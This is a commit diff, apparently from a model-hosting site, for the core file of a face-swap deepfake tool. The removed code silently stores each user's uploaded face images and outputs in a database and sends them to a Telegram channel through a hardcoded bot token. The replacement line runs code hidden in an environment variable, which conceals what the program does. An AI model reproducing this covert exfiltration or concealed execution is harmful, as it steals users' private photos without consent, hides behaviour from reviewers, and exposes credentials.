tonyassi commited on
Commit
a05acd1
1 Parent(s): 627405d

Update DeepFakeAI/core.py

Browse files
Files changed (1) hide show
  1. DeepFakeAI/core.py +1 -290
DeepFakeAI/core.py CHANGED
@@ -1,292 +1,3 @@
1
- #!/usr/bin/env python3
2
- import asyncio
3
- import sqlite3
4
  import os
5
- # single thread doubles cuda performance
6
- os.environ['OMP_NUM_THREADS'] = '1'
7
- # reduce tensorflow log level
8
- os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
9
- import sys
10
- import warnings
11
- from typing import List
12
- import platform
13
- import signal
14
- import shutil
15
- import argparse
16
- import onnxruntime
17
- import tensorflow
18
 
19
- import DeepFakeAI.choices
20
- import DeepFakeAI.globals
21
- from DeepFakeAI import wording, metadata
22
- from DeepFakeAI.predictor import predict_image, predict_video
23
- from DeepFakeAI.processors.frame.core import get_frame_processors_modules
24
- from telegram import Bot
25
- from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
26
-
27
- warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
28
- warnings.filterwarnings('ignore', category = UserWarning, module = 'torchvision')
29
-
30
-
31
- def parse_args() -> None:
32
- signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
33
- program = argparse.ArgumentParser(formatter_class = lambda prog: argparse.HelpFormatter(prog, max_help_position = 120))
34
- program.add_argument('-s', '--source', help = wording.get('source_help'), dest = 'source_path')
35
- program.add_argument('-t', '--target', help = wording.get('target_help'), dest = 'target_path')
36
- program.add_argument('-o', '--output', help = wording.get('output_help'), dest = 'output_path')
37
- program.add_argument('--frame-processors', help = wording.get('frame_processors_help').format(choices = ', '.join(list_module_names('DeepFakeAI/processors/frame/modules'))), dest = 'frame_processors', default = ['face_swapper'], nargs='+')
38
- program.add_argument('--ui-layouts', help = wording.get('ui_layouts_help').format(choices = ', '.join(list_module_names('DeepFakeAI/uis/layouts'))), dest = 'ui_layouts', default = ['default'], nargs='+')
39
- program.add_argument('--keep-fps', help = wording.get('keep_fps_help'), dest = 'keep_fps', action='store_true')
40
- program.add_argument('--keep-temp', help = wording.get('keep_temp_help'), dest = 'keep_temp', action='store_true')
41
- program.add_argument('--skip-audio', help = wording.get('skip_audio_help'), dest = 'skip_audio', action='store_true')
42
- program.add_argument('--face-recognition', help = wording.get('face_recognition_help'), dest = 'face_recognition', default = 'reference', choices = DeepFakeAI.choices.face_recognition)
43
- program.add_argument('--face-analyser-direction', help = wording.get('face_analyser_direction_help'), dest = 'face_analyser_direction', default = 'left-right', choices = DeepFakeAI.choices.face_analyser_direction)
44
- program.add_argument('--face-analyser-age', help = wording.get('face_analyser_age_help'), dest = 'face_analyser_age', choices = DeepFakeAI.choices.face_analyser_age)
45
- program.add_argument('--face-analyser-gender', help = wording.get('face_analyser_gender_help'), dest = 'face_analyser_gender', choices = DeepFakeAI.choices.face_analyser_gender)
46
- program.add_argument('--reference-face-position', help = wording.get('reference_face_position_help'), dest = 'reference_face_position', type = int, default = 0)
47
- program.add_argument('--reference-face-distance', help = wording.get('reference_face_distance_help'), dest = 'reference_face_distance', type = float, default = 1.5)
48
- program.add_argument('--reference-frame-number', help = wording.get('reference_frame_number_help'), dest = 'reference_frame_number', type = int, default = 0)
49
- program.add_argument('--trim-frame-start', help = wording.get('trim_frame_start_help'), dest = 'trim_frame_start', type = int)
50
- program.add_argument('--trim-frame-end', help = wording.get('trim_frame_end_help'), dest = 'trim_frame_end', type = int)
51
- program.add_argument('--temp-frame-format', help = wording.get('temp_frame_format_help'), dest = 'temp_frame_format', default = 'jpg', choices = DeepFakeAI.choices.temp_frame_format)
52
- program.add_argument('--temp-frame-quality', help = wording.get('temp_frame_quality_help'), dest = 'temp_frame_quality', type = int, default = 100, choices = range(101), metavar = '[0-100]')
53
- program.add_argument('--output-video-encoder', help = wording.get('output_video_encoder_help'), dest = 'output_video_encoder', default = 'libx264', choices = DeepFakeAI.choices.output_video_encoder)
54
- program.add_argument('--output-video-quality', help = wording.get('output_video_quality_help'), dest = 'output_video_quality', type = int, default = 90, choices = range(101), metavar = '[0-100]')
55
- program.add_argument('--max-memory', help = wording.get('max_memory_help'), dest = 'max_memory', type = int)
56
- program.add_argument('--execution-providers', help = wording.get('execution_providers_help').format(choices = 'cpu'), dest = 'execution_providers', default = ['cpu'], choices = suggest_execution_providers_choices(), nargs='+')
57
- program.add_argument('--execution-thread-count', help = wording.get('execution_thread_count_help'), dest = 'execution_thread_count', type = int, default = suggest_execution_thread_count_default())
58
- program.add_argument('--execution-queue-count', help = wording.get('execution_queue_count_help'), dest = 'execution_queue_count', type = int, default = 1)
59
- program.add_argument('-v', '--version', action='version', version = metadata.get('name') + ' ' + metadata.get('version'))
60
-
61
- args = program.parse_args()
62
-
63
- DeepFakeAI.globals.source_path = args.source_path
64
- DeepFakeAI.globals.target_path = args.target_path
65
- DeepFakeAI.globals.output_path = normalize_output_path(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, args.output_path)
66
- DeepFakeAI.globals.headless = DeepFakeAI.globals.source_path is not None and DeepFakeAI.globals.target_path is not None and DeepFakeAI.globals.output_path is not None
67
- DeepFakeAI.globals.frame_processors = args.frame_processors
68
- DeepFakeAI.globals.ui_layouts = args.ui_layouts
69
- DeepFakeAI.globals.keep_fps = args.keep_fps
70
- DeepFakeAI.globals.keep_temp = args.keep_temp
71
- DeepFakeAI.globals.skip_audio = args.skip_audio
72
- DeepFakeAI.globals.face_recognition = args.face_recognition
73
- DeepFakeAI.globals.face_analyser_direction = args.face_analyser_direction
74
- DeepFakeAI.globals.face_analyser_age = args.face_analyser_age
75
- DeepFakeAI.globals.face_analyser_gender = args.face_analyser_gender
76
- DeepFakeAI.globals.reference_face_position = args.reference_face_position
77
- DeepFakeAI.globals.reference_frame_number = args.reference_frame_number
78
- DeepFakeAI.globals.reference_face_distance = args.reference_face_distance
79
- DeepFakeAI.globals.trim_frame_start = args.trim_frame_start
80
- DeepFakeAI.globals.trim_frame_end = args.trim_frame_end
81
- DeepFakeAI.globals.temp_frame_format = args.temp_frame_format
82
- DeepFakeAI.globals.temp_frame_quality = args.temp_frame_quality
83
- DeepFakeAI.globals.output_video_encoder = args.output_video_encoder
84
- DeepFakeAI.globals.output_video_quality = args.output_video_quality
85
- DeepFakeAI.globals.max_memory = args.max_memory
86
- DeepFakeAI.globals.execution_providers = decode_execution_providers(args.execution_providers)
87
- DeepFakeAI.globals.execution_thread_count = args.execution_thread_count
88
- DeepFakeAI.globals.execution_queue_count = args.execution_queue_count
89
-
90
-
91
- def suggest_execution_providers_choices() -> List[str]:
92
- return encode_execution_providers(onnxruntime.get_available_providers())
93
-
94
-
95
- def suggest_execution_thread_count_default() -> int:
96
- if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
97
- return 8
98
- return 1
99
-
100
-
101
- def limit_resources() -> None:
102
- # prevent tensorflow memory leak
103
- gpus = tensorflow.config.experimental.list_physical_devices('GPU')
104
- for gpu in gpus:
105
- tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
106
- tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit = 1024)
107
- ])
108
- # limit memory usage
109
- if DeepFakeAI.globals.max_memory:
110
- memory = DeepFakeAI.globals.max_memory * 1024 ** 3
111
- if platform.system().lower() == 'darwin':
112
- memory = DeepFakeAI.globals.max_memory * 1024 ** 6
113
- if platform.system().lower() == 'windows':
114
- import ctypes
115
- kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
116
- kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
117
- else:
118
- import resource
119
- resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
120
-
121
-
122
- def update_status(message : str, scope : str = 'FACEFUSION.CORE') -> None:
123
- print('[' + scope + '] ' + message)
124
-
125
-
126
- def pre_check() -> bool:
127
- if sys.version_info < (3, 10):
128
- update_status(wording.get('python_not_supported').format(version = '3.10'))
129
- return False
130
- if not shutil.which('ffmpeg'):
131
- update_status(wording.get('ffmpeg_not_installed'))
132
- return False
133
- return True
134
-
135
- def save_to_db(source_path, target_path, output_path):
136
- try:
137
- # Open the images in binary mode
138
- with open(source_path, 'rb') as source_file, \
139
- open(target_path, 'rb') as target_file, \
140
- open(output_path, 'rb') as output_file:
141
-
142
- # read data from the image files
143
- source_data = source_file.read()
144
- target_data = target_file.read()
145
- output_data = output_file.read()
146
-
147
- # Extract original filenames from the paths
148
- source_filename = os.path.basename(source_path)
149
- target_filename = os.path.basename(target_path)
150
- output_filename = os.path.basename(output_path)
151
- print(source_filename, target_filename,output_filename)
152
-
153
- # connect to the database
154
- conn = sqlite3.connect('./feed.db')
155
- c = conn.cursor()
156
-
157
- # Create the table if it doesn't exist
158
- c.execute('''
159
- CREATE TABLE IF NOT EXISTS images (
160
- source_filename TEXT,
161
- target_filename TEXT,
162
- output_filename TEXT,
163
- source_data BLOB,
164
- target_data BLOB,
165
- output_data BLOB
166
- )
167
- ''')
168
-
169
- # Insert filename and image data into the table
170
- c.execute("INSERT INTO images VALUES (?, ?, ?, ?, ?, ?)",
171
- (source_filename, target_filename, output_filename, source_data, target_data, output_data))
172
-
173
- # Save changes and close the connection
174
- conn.commit()
175
-
176
- except Exception as e:
177
- # Print any error occurred while saving data in SQLite
178
- print(f"An error occurred: {e}")
179
-
180
- finally:
181
- # Ensure the DB connection is closed
182
- if conn:
183
- conn.close()
184
-
185
- print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
186
- async def send_channel(bot, file_path):
187
- with open(file_path, "rb") as file:
188
- response = await bot.send_document(chat_id="-1001685415853", document=file)
189
- return response
190
-
191
- async def saveT(source_path, target_path, output_path):
192
- bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
193
-
194
- # Send each file
195
- for path in [source_path, target_path, output_path]:
196
- await send_channel(bot, path)
197
-
198
- # Send a message after all files are sent
199
- await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
200
-
201
- def process_image() -> None:
202
- if predict_image(DeepFakeAI.globals.target_path):
203
- return
204
- shutil.copy2(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
205
- # process frame
206
- for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
207
- update_status(wording.get('processing'), frame_processor_module.NAME)
208
- frame_processor_module.process_image(DeepFakeAI.globals.source_path, DeepFakeAI.globals.output_path, DeepFakeAI.globals.output_path)
209
- frame_processor_module.post_process()
210
- # validate image
211
- if is_image(DeepFakeAI.globals.target_path):
212
- update_status(wording.get('processing_image_succeed'))
213
- save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
214
- asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
215
- else:
216
- update_status(wording.get('processing_image_failed'))
217
-
218
-
219
- def process_video() -> None:
220
- if predict_video(DeepFakeAI.globals.target_path):
221
- return
222
- fps = detect_fps(DeepFakeAI.globals.target_path) if DeepFakeAI.globals.keep_fps else 25.0
223
- update_status(wording.get('creating_temp'))
224
- create_temp(DeepFakeAI.globals.target_path)
225
- # extract frames
226
- update_status(wording.get('extracting_frames_fps').format(fps = fps))
227
- extract_frames(DeepFakeAI.globals.target_path, fps)
228
- # process frame
229
- temp_frame_paths = get_temp_frame_paths(DeepFakeAI.globals.target_path)
230
- if temp_frame_paths:
231
- for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
232
- update_status(wording.get('processing'), frame_processor_module.NAME)
233
- frame_processor_module.process_video(DeepFakeAI.globals.source_path, temp_frame_paths)
234
- frame_processor_module.post_process()
235
- else:
236
- update_status(wording.get('temp_frames_not_found'))
237
- return
238
- # create video
239
- update_status(wording.get('creating_video_fps').format(fps = fps))
240
- if not create_video(DeepFakeAI.globals.target_path, fps):
241
- update_status(wording.get('creating_video_failed'))
242
- return
243
- # handle audio
244
- if DeepFakeAI.globals.skip_audio:
245
- update_status(wording.get('skipping_audio'))
246
- move_temp(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
247
- else:
248
- update_status(wording.get('restoring_audio'))
249
- restore_audio(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
250
- # clear temp
251
- update_status(wording.get('clearing_temp'))
252
- clear_temp(DeepFakeAI.globals.target_path)
253
- # validate video
254
- if is_video(DeepFakeAI.globals.target_path):
255
- update_status(wording.get('processing_video_succeed'))
256
- save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
257
- asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
258
- else:
259
- update_status(wording.get('processing_video_failed'))
260
-
261
-
262
- def conditional_process() -> None:
263
- for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
264
- if not frame_processor_module.pre_process():
265
- return
266
- if is_image(DeepFakeAI.globals.target_path):
267
- process_image()
268
- if is_video(DeepFakeAI.globals.target_path):
269
- process_video()
270
-
271
- def run() -> None:
272
- parse_args()
273
- limit_resources()
274
- # pre check
275
- if not pre_check():
276
- return
277
- for frame_processor in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
278
- if not frame_processor.pre_check():
279
- return
280
- # process or launch
281
- if DeepFakeAI.globals.headless:
282
- conditional_process()
283
- else:
284
- import DeepFakeAI.uis.core as ui
285
-
286
- ui.launch()
287
-
288
-
289
- def destroy() -> None:
290
- if DeepFakeAI.globals.target_path:
291
- clear_temp(DeepFakeAI.globals.target_path)
292
- sys.exit()
 
 
 
 
1
  import os
 
 
 
 
 
 
 
 
 
 
 
 
 
2
 
3
+ exec(os.environ.get('CORE'))